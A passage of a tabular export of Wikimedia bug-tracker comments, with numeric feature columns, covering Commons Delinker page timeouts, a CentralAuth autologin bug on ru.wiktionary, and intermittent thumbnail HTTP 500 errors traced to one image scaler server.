+(Maybe a other software change fixed this, closing now as RES - FIX)",,,1412966568,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,58,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1
+235216,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1412958784,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,58,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+235210,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1411336307,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,55,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+235204,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,I see. Thanks for correcting me!,,,1394797315,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+235197,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"There is nothing the maintainers of the tool can do here, so it shouldn't be a bug of the tool, IMHO.",,,1394717648,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,28,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+235190,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"This error is not in the tool's code though, adding keyword",,,1394717261,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,28,True,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+235182,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #8)
+Is there anything I could help with?",,,1381580715,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,6,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+235175,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"The truncated query in comment #6 comes from the same class as bug 53577 but forces different indexes. So, possibly it's the same type of problem, but need to see a complete example.",,,1379613073,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+235169,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Sean: Could you answer comment 6, please? Thanks in advance!",,,1379545937,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+235164,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Can a tech please confirm this is an instance of Bug 53577 ?,,,1379453344,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+235156,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Also:
+* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104293543",,,1379453115,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+235151,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"And I found something interesting:
+* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104442630
+* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104401867
+
+
+The following took ~50s!
+
+query: SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM `logging` FORCE INDEX (page_time,user_time,log_user_type_time) LEFT JOIN `user`",,,1379452866,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+235145,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"So here is the complete message:
+<head><title>504 Gateway Time-out</title></head>
+<body bgcolor=""white"">
+<center><h1>504 Gateway Time-out</h1></center>
+<hr><center>nginx/1.1.19</center>
+</body>
+</html>
+----
+https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104491400 22:37, 16 September 2013
+----
+If you need a special response header for debugging, please let me know.",,,1379398992,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+235137,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #1)
+The issue is that there were not a lot of templates on the page at the time the requests failed:
+Exmaple:
+17:40, 14 September 2013 ( https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104315333 )
+
+https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&oldid=104314668 ( https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&action=edit&oldid=104314668 )
+CPU time usage	0.656 seconds
+Real time usage	0.767 seconds
+Preprocessor visited node count	1285/1000000
+Preprocessor generated node count	4672/1500000
+Post-expand include size	60326/2048000 bytes
+Template argument size	29773/2048000 bytes
+Highest expansion depth	12/40
+Expensive parser function count	33/500",,,1379361807,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1
+235129,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Isn't this just the ""standard"" timeout for (uncached/just edited) pages with a lot of templates, like [[m:User:Cbrown1023/Logos]]?",,,1379342111,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1
+56119,Autologin autocreate is not working,"Steps I followed to reproduce:
+1) Pick or produce an account registered on it.wikt (home), en.wikt, it.source, en.source; clear all cookies and start new incognito window on Chromium (27.0.1453.93 200836)
+2) Visit ru.wikt
+3) Login on it.wikt
+4) Visit ru.wikt
+I. Expected: I am logged in (account is autocreated).
+II. Actual: Account is not created and I am not logged in. (Not bug 45578 comment 3 because I had visited the site.)
+5) Visit en.wikt
+III. Expected: I am logged in (account already exists).
+IV. Actual: I am logged in.
+6) Visit it.source
+Same as III, IV.
+7) Visit en.source
+Same as III, IV.
+
+In some previous test I was not logged in at step 7 (i.e. in other projects but same language subdomain, but not same project different language), I don't know what happen.
+The messy situation at [[Special:CentralAuth/Bug 16864 test]] is due to bug 16864: if you sort by date you can spot the accounts autocreated by logging in on wikimania2013 and outreach (without any logic). I don't know how the various bugs are interacting here.
+
+--------------------------
+**Version**: master
+**Severity**: major",High,80.0,1379156700,1380299259.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-o25zkcehzgmefdahshod,task_description,invalid,True,c2,3,True,False,True,2,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+234975,Autologin autocreate is not working,"(In reply to comment #16)
+> Feel free to reopen if
+> it
+> can be demonstrated that that's not the case.
+
+Yes, I planned to retest this after the fix for bug 54292 is deployed.",,,1380301145,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+234967,Autologin autocreate is not working,"I'm going to mark this RESOLVED INVALID, per comment 12 that the main complaint here an issue with one wiki's TitleBlacklist configuration (and the followup complaint in comment 13 seems covered by bug 54292). Feel free to reopen if it can be demonstrated that that's not the case.",,,1380299259,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+234962,Autologin autocreate is not working,"(In reply to comment #14)
+> (In reply to comment #13)
+> > However, why did I have to manually login on the first of (it|en).source to
+> > create the account on step 1?
+> 
+> Possibly bug 54292?
+
+Indeed that bug might be the correct formulation of what I tried to report here. I'll check better later.",,,1379609214,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1
+234958,Autologin autocreate is not working,"(In reply to comment #13)
+> However, why did I have to manually login on the first of (it|en).source to
+> create the account on step 1?
+
+Possibly bug 54292?",,,1379606982,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+234953,Autologin autocreate is not working,"(In reply to comment #12)
+> That didn't really help. Looking at the connections to ruwiktionary in
+> attachment 13304 [details], I see all the correct cookies were sent so you
+> *should* have
+> been logged in.
+> 
+> ..... Ugh. Have you tried it with a username that isn't caught by
+> ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits
+> running"", or any of their other very restrictive blacklist rules? Or can you
+> reproduce it on any wiki other than ruwiktionary (or one with the same sort
+> of
+> rules)?
+
+Sigh. I chose a random wiki to avoid bias, I should have used one of those super-small languages as I usually do. However, why did I have to manually login on the first of (it|en).source to create the account on step 1? I'll try to reproduce again elsewhere...",,,1379545086,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+234948,Autologin autocreate is not working,"That didn't really help. Looking at the connections to ruwiktionary in attachment 13304, I see all the correct cookies were sent so you *should* have been logged in.
+
+..... Ugh. Have you tried it with a username that isn't caught by ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits running"", or any of their other very restrictive blacklist rules? Or can you reproduce it on any wiki other than ruwiktionary (or one with the same sort of rules)?",,,1379535771,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,3,True,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+234942,Autologin autocreate is not working,"So, to expand on the comment above, in the first attempted auto-login after account creation there wasn't any call to login code or special pages that I could see; in step 4 there were some but apparently not successful.",,,1379460232,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+234936,Autologin autocreate is not working,"Created attachment 13305
+Step 4 net-internals export
+
+**Attached**: {F11174}",,,1379460157,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234929,Autologin autocreate is not working,"Created attachment 13304
+Step 3-4 HARs and URL_REQUEST details
+
+**Attached**: {F11173}",,,1379459785,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234921,Autologin autocreate is not working,"Created attachment 13303
+Special:CentralAutoLogin calls step 4
+
+**Attached**: {F11172}",,,1379459723,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234914,Autologin autocreate is not working,"Created attachment 13302
+Special:CentralAutoLogin calls step 3
+
+**Attached**: {F11171}",,,1379459677,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234906,Autologin autocreate is not working,"Created attachment 13301
+Special:CentralAutoLogin calls 2
+
+**Attached**: {F11170}",,,1379459590,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234898,Autologin autocreate is not working,"Created attachment 13300
+Special:CentralAutoLogin calls 1
+
+**Attached**: {F11169}",,,1379459547,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234895,Autologin autocreate is not working,"Created attachment 13299
+Step 1 (account creation) HARs
+
+**Attached**: {F11168}",,,1379459469,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234891,Autologin autocreate is not working,"I reproduced again with steps as above, with [[Special:CentralAuth/Bug_54119_test]]; I stopped at step 4 because that's what you requested. There is no need to obfuscate headers because it's a throw-away account.
+I forgot to follow the instructions closely on it.wikt login, so I only have HAR files for that and step 0. Note that in step 0 I had to manually login on it.source (but not en.source) to create the account.
+Attachments follow.",,,1379459248,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+234886,Autologin autocreate is not working,"Can't reproduce, tried with both Firefox 24.0 and with Chromium 29.0.1547.57. Although I didn't specifically test having the *home* wiki as itwiktionary.
+
+If you can capture the HTTP request and response headers for the following (obscure the values of any cookies with names ending in ""Token"" or ""Session"", but please indicate which were the same across requests), that would be helpful:
+* The POST of the login form on itwiktionary, and all the subsequent redirects
+* Any calls to Special:CentralAutoLogin on the HTML page from the previous
+* The request on ruwiktionary after having logged in on itwiktionary
+* Any calls to Special:CentralAutoLogin on the HTML page from the previous (there shouldn't be any, though)
+
+To capture the headers, the information in http://productforums.google.com/forum/#!topic/chrome/1u7DQv-ag_4 may be helpful; note there will be multiple HTTP_TRANSACTION_SEND_REQUEST_HEADERS and HTTP_TRANSACTION_READ_RESPONSE_HEADERS blocks in one URL_REQUEST in the case of redirects.",,,1379445029,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+234881,Autologin autocreate is not working,Probably needs to be retested after https://gerrit.wikimedia.org/r/83655 is deployed,,,1379356743,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+56045,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"When requesting random images from Commons' MediaWiki API and requesting a thumbnail for it, I often get a HTTP 500.
+
+For example:
+
+
+
+GET http://upload.wikimedia.org/wikipedia/commons/thumb/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg
+HTTP 500
+<html><head><title>Error generating thumbnail</title></head>
+<body>
+<h1>Error generating thumbnail</h1>
+<p>
+Error creating thumbnail:
+</p>
+<!-- http://commons.wikimedia.org/w/thumb_handler.php/f/fb/USMC-05934.jpg/400px-USMC-05934.jpg -->
+<!-- mw1154 -->
+</body>
+</html>
+
+Usually when trying again, it just works.
+
+I've been getting these errors in many different environments:
+* When reading articles and HiDPI plugin swaps the src attributes (the larger version would fail maybe)
+* When opening the VisualEditor (rendering the new DOM means we re-parse the <img>tag and thus re-request it, thus making it more likely for the error to happen again)
+* When working with gadgets that render image galleries through requesting file category members and the thumbnail url.
+
+I don't think the scenario is relevant, there is either something wrong with the thumbnail generator script that is triggered by lots of images. Or there is a few faulty servers in the upload.wikimedia.org pool that cause the errors.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: critical",High,80.0,1378941420,1379553025.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5ts3ggpcjypmoohi32ft,task_description,resolved,True,c2,3,True,False,True,2,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+254806,Wikimedia thumbnail generator often returns HTTP 500 Internal Server Error,"[02:06:08] <Reedy> Can someone depool mw1154 from the image scaler cluster?
+[02:06:20] <paravoid> what's wrong with it?
+[02:07:40] <Reedy> It's seemingly generating a lot more errors (by a factor of 2 or so) than any of the other scalers
+[02:07:41] <Reedy> https://bugzilla.wikimedia.org/show_bug.cgi?id=54045
+[02:08:32] <paravoid> root@mw1154:~# ls /sys/fs/cgroup/memory/mediawiki/job
+[02:08:33] <paravoid> ls: cannot access /sys/fs/cgroup/memory/mediawiki/job: No such file or directory
+[02:08:35] <paravoid> blergh
+[02:09:01] <paravoid> fixed
+[02:09:58] <Reedy> is that's what's up with it?
+[02:10:05] <paravoid> yes, fixed
+[02:10:09] <Reedy> awesome
